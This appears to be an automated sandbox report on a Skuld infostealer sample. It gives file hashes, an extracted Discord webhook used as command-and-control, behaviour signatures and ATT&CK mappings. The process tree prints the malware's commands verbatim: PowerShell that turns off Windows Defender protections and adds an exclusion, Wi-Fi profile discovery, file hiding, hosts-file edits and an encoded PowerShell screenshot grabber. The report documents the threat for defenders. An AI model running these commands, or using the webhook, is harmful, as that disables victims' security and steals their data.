Overview

overview

10

Static

static

10

2025-04-19...ch.exe

windows10-2004-x64

10

2025-04-19...ch.exe

windows11-21h2-x64

10

Analysis

  • max time kernel
    115s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250410-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250410-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19/04/2025, 08:34

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    2025-04-19_90259c6d35073efc4f433302566feff4_frostygoop_ghostlocker_knight_luca-stealer_ngrbot_poet-rat_sliver_snatch.exe

  • Size

    14.8MB

  • MD5

    90259c6d35073efc4f433302566feff4

  • SHA1

    2ab675ad8ab831b1d475df0caca69d390c56261a

  • SHA256

    0d523bcb4d03ec93e0f83f241f70407d5c4b74378fac75168da10384c7f051aa

  • SHA512

    8e1206116dd4f884d3d464eb24bef7344c97086eb1071032ad1b74a8d98075481bf635f6032407025a2448c034203929e5679a1c06729b2792504d265516667d

  • SSDEEP

    196608:BqZ4f/oCqKqc/3h4Po9cXx+29GAB7ob73mrVGwYdNE2vfUW4:YZ4XoBKHc9AuM73gQDvfUW4

Score
10/10
skuldcredential_accessdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationspywarestealer

Malware Config

Extracted

Family

skuld

C2

https://ptb.discord.com/api/webhooks/1348131200857931882/1hWtQKLnqZymVPHuN_FEwWXgUpXkRZt4_i-XjTYOgWhMR0uQZpenwavljuW_bDkv1dvX

Signatures

  • Skuld family
    skuld
  • Skuld stealer

    An info stealer written in Go lang.

    stealerskuld
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

    execution
  • Drops file in Drivers directory 3 IoCs
  • Executes dropped EXE 1 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

    credential_accessstealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Maps connected drives based on registry 3 TTPs 2 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

    defense_evasion
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

    discovery
  • Detects videocard installed 1 TTPs 2 IoCs

    Uses WMIC.exe to determine videocard installed.

  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies system certificate store 2 TTPs 3 IoCs
    defense_evasionspywaretrojan
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 34 IoCs
  • Views/modifies file attributes 1 TTPs 4 IoCs
    defense_evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\2025-04-19_90259c6d35073efc4f433302566feff4_frostygoop_ghostlocker_knight_luca-stealer_ngrbot_poet-rat_sliver_snatch.exe
    "C:\Users\Admin\AppData\Local\Temp\2025-04-19_90259c6d35073efc4f433302566feff4_frostygoop_ghostlocker_knight_luca-stealer_ngrbot_poet-rat_sliver_snatch.exe"
    1⤵
    • Drops file in Drivers directory
    • Adds Run key to start application
    • Maps connected drives based on registry
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:836
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Temp\2025-04-19_90259c6d35073efc4f433302566feff4_frostygoop_ghostlocker_knight_luca-stealer_ngrbot_poet-rat_sliver_snatch.exe
      2⤵
      • Views/modifies file attributes
      PID:2788
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
      2⤵
      • Views/modifies file attributes
      PID:6064
    • C:\Windows\System32\Wbem\wmic.exe
      wmic csproduct get UUID
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2988
    • C:\Windows\System32\Wbem\wmic.exe
      wmic path win32_VideoController get name
      2⤵
      • Detects videocard installed
      • Suspicious use of AdjustPrivilegeToken
      PID:4144
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\2025-04-19_90259c6d35073efc4f433302566feff4_frostygoop_ghostlocker_knight_luca-stealer_ngrbot_poet-rat_sliver_snatch.exe
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      PID:5008
    • C:\Windows\System32\Wbem\wmic.exe
      wmic os get Caption
      2⤵
        PID:3184
      • C:\Windows\System32\Wbem\wmic.exe
        wmic cpu get Name
        2⤵
          PID:4948
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:4528
        • C:\Windows\System32\Wbem\wmic.exe
          wmic path win32_VideoController get name
          2⤵
          • Detects videocard installed
          PID:2340
        • C:\Windows\System32\Wbem\wmic.exe
          wmic csproduct get UUID
          2⤵
            PID:1340
          • C:\Windows\system32\attrib.exe
            attrib -r C:\Windows\System32\drivers\etc\hosts
            2⤵
            • Drops file in Drivers directory
            • Views/modifies file attributes
            PID:5040
          • C:\Windows\system32\attrib.exe
            attrib +r C:\Windows\System32\drivers\etc\hosts
            2⤵
            • Drops file in Drivers directory
            • Views/modifies file attributes
            PID:4924
          • C:\Windows\system32\netsh.exe
            netsh wlan show profiles
            2⤵
            • Event Triggered Execution: Netsh Helper DLL
            • System Network Configuration Discovery: Wi-Fi Discovery
            PID:1504
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:3316
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
              "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\jkvq33fd\jkvq33fd.cmdline"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:5828
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5BCC.tmp" "c:\Users\Admin\AppData\Local\Temp\jkvq33fd\CSC5A1A1497494F46BE8AB321F224F48F3.TMP"
                4⤵
                  PID:948
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
            1⤵
            • Suspicious use of WriteProcessMemory
            PID:6116
            • C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
              C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
              2⤵
              • Executes dropped EXE
              • Suspicious use of AdjustPrivilegeToken
              PID:3216

          Network

          MITRE ATT&CK Enterprise v16

          Reconnaissance

          Resource Development

          Initial Access

          Execution

          Command and Scripting Interpreter

          1
          T1059

          PowerShell

          1
          T1059.001

          Persistence

          Boot or Logon Autostart Execution

          1
          T1547

          Registry Run Keys / Startup Folder

          1
          T1547.001

          Event Triggered Execution

          1
          T1546

          Netsh Helper DLL

          1
          T1546.007

          Privilege Escalation

          Boot or Logon Autostart Execution

          1
          T1547

          Registry Run Keys / Startup Folder

          1
          T1547.001

          Event Triggered Execution

          1
          T1546

          Netsh Helper DLL

          1
          T1546.007

          Defense Evasion

          Hide Artifacts

          1
          T1564

          Hidden Files and Directories

          1
          T1564.001

          Modify Registry

          2
          T1112

          Obfuscated Files or Information

          1
          T1027

          Command Obfuscation

          1
          T1027.010

          Subvert Trust Controls

          1
          T1553

          Install Root Certificate

          1
          T1553.004

          Credential Access

          Credentials from Password Stores

          1
          T1555

          Credentials from Web Browsers

          1
          T1555.003

          Unsecured Credentials

          4
          T1552

          Credentials In Files

          4
          T1552.001

          Discovery

          Browser Information Discovery

          1
          T1217

          Peripheral Device Discovery

          1
          T1120

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          System Network Configuration Discovery

          1
          T1016

          Wi-Fi Discovery

          1
          T1016.002

          Lateral Movement

          Collection

          Data from Local System

          3
          T1005

          Command and Control

          Web Service

          1
          T1102

          Exfiltration

          Impact

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
            Filesize

            2KB

            MD5

            d85ba6ff808d9e5444a4b369f5bc2730

            SHA1

            31aa9d96590fff6981b315e0b391b575e4c0804a

            SHA256

            84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

            SHA512

            8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

            Download Submit

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            Filesize

            944B

            MD5

            3332c2f747b79a54dc9f4867423e31c3

            SHA1

            de8440945ab0c382b6657dd2e6f50bbc2a4b73bd

            SHA256

            f8ddc8eddb53247304e5463829cbf8d1a420a77781237820efa0c94ab18612cd

            SHA512

            96fcc7c39335ce60da1f8db2ff9b62324d60080fb1a5a81262a26c311b78117bf85b481113800f88ac6a37b7ba26a7be510f3c098b26828c751974339a1e8835

            Download Submit

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            Filesize

            944B

            MD5

            da5c82b0e070047f7377042d08093ff4

            SHA1

            89d05987cd60828cca516c5c40c18935c35e8bd3

            SHA256

            77a94ef8c4258445d538a6006ffadb05afdf888f6f044e1e5466b981a07f16c5

            SHA512

            7360311a3c97b73dd3f6d7179cd979e0e20d69f380d38292447e17e369087d9dd5acb66cd0cbdd95ac4bfb16e5a1b86825f835a8d45b14ea9812102cff59704b

            Download Submit

          • C:\Users\Admin\AppData\Local\Temp\RES5BCC.tmp
            Filesize

            1KB

            MD5

            27a4691501498f610d52e0f5e9fbcb44

            SHA1

            5f0c12c6cccd260863d2676cf85c3756f801cde8

            SHA256

            2e842e91086907803f34f7e40224fd0df228107127ca4e4401d2fd188cd461e7

            SHA512

            9b1dd4aa567f3c87aca2b98bdece8165584d0baf75de14c51f1839e633d4f3f0143efb58793d71320e2b55ca97b9c3685bdb09e73f71613688bf91b2f9c52324

            Download Submit

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2htg3kzz.150.ps1
            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

            Download Submit

          • C:\Users\Admin\AppData\Local\Temp\jkvq33fd\jkvq33fd.dll
            Filesize

            4KB

            MD5

            af8a4b929bc5e66ce3f825265fab7321

            SHA1

            96dd8d45aefce24dcae2bf59b6e393384886aecd

            SHA256

            4de4274f95e7eaf7fb7431f3997c3b66fea978c4a3853c1de43408bb541b288d

            SHA512

            c51239a5d6291f2f78532059f7cd468d1b6ffc90864bbcd330ed7a372b981ec56caefb14f767e274ca458694df90a94ed0666206a62852ba5ed6e5cfcfcc76fd

            Download Submit

          • C:\Users\Admin\AppData\Local\Temp\tIarwp6fFf\Display (1).png
            Filesize

            414KB

            MD5

            bb4a416ea008843f68cc7f4c2f053643

            SHA1

            242f81e4e16d170cb5b39178f8ce9dbdc4d6be4e

            SHA256

            d47c0457d9b27ebee2009d7880264b03d212bc9376035b8e85a61fc9527668df

            SHA512

            81c0e159cca892e3c60cdff10887f49923ca147fb8c63871f01e1f75ea3eb54b6dc921778517ea5f0422d87a023889f43609fbe4700c9c1f5c29e0e62dab6638

            Download Submit

          • C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
            Filesize

            14.8MB

            MD5

            90259c6d35073efc4f433302566feff4

            SHA1

            2ab675ad8ab831b1d475df0caca69d390c56261a

            SHA256

            0d523bcb4d03ec93e0f83f241f70407d5c4b74378fac75168da10384c7f051aa

            SHA512

            8e1206116dd4f884d3d464eb24bef7344c97086eb1071032ad1b74a8d98075481bf635f6032407025a2448c034203929e5679a1c06729b2792504d265516667d

            Download Submit

          • C:\Windows\System32\drivers\etc\hosts
            Filesize

            2KB

            MD5

            6e2386469072b80f18d5722d07afdc0b

            SHA1

            032d13e364833d7276fcab8a5b2759e79182880f

            SHA256

            ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075

            SHA512

            e6b96f303935f2bbc76f6723660b757d7f3001e1b13575639fb62d68a734b4ce8c833b991b2d39db3431611dc2cacde879da1aecb556b23c0d78f5ee67967acb

            Download Submit

          • \??\c:\Users\Admin\AppData\Local\Temp\jkvq33fd\CSC5A1A1497494F46BE8AB321F224F48F3.TMP
            Filesize

            652B

            MD5

            75a9d2cd5b1dce571a3232722e144e03

            SHA1

            69a9bf4c63ea78cc9a78b87a1af516632d986b80

            SHA256

            d2a3e95801bd84d24ba1b5b8835e31b7efa8814b31923b74a944f517104dc5ff

            SHA512

            69f688799aa4e414d0a391fe095f4692fe3415cc93b1044c53c04673ed274cf999f40938891c6ff6737a9b7308d2b1d5ee0dac0f9d5e453df96be81c674e6e5b

            Download Submit

          • \??\c:\Users\Admin\AppData\Local\Temp\jkvq33fd\jkvq33fd.0.cs
            Filesize

            1004B

            MD5

            c76055a0388b713a1eabe16130684dc3

            SHA1

            ee11e84cf41d8a43340f7102e17660072906c402

            SHA256

            8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

            SHA512

            22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

            Download Submit

          • \??\c:\Users\Admin\AppData\Local\Temp\jkvq33fd\jkvq33fd.cmdline
            Filesize

            607B

            MD5

            44ba50f9fc9c6b16f3cf06c278528c38

            SHA1

            acca6dee1e948cc5bc0b422f483e3d7c3473f0cc

            SHA256

            c4f6da82d5e88a758de89c89faa22bb72de9eead0c1f370913416277c0cc3367

            SHA512

            faa68fa2e52d9f1725b1bd1651db8198cdc4fd58ccbae8edc154e4b2de9d9487a5640e06c5ec62d8ff24abe66bc19cf67b352637fc2fc9052d0a93f47f0e0c01

            Download Submit

          • memory/3316-57-0x0000020962CB0000-0x0000020962CB8000-memory.dmp

            Filesize

            32KB

            Download

          • memory/5008-4-0x000002317D870000-0x000002317D892000-memory.dmp

            Filesize

            136KB

            Download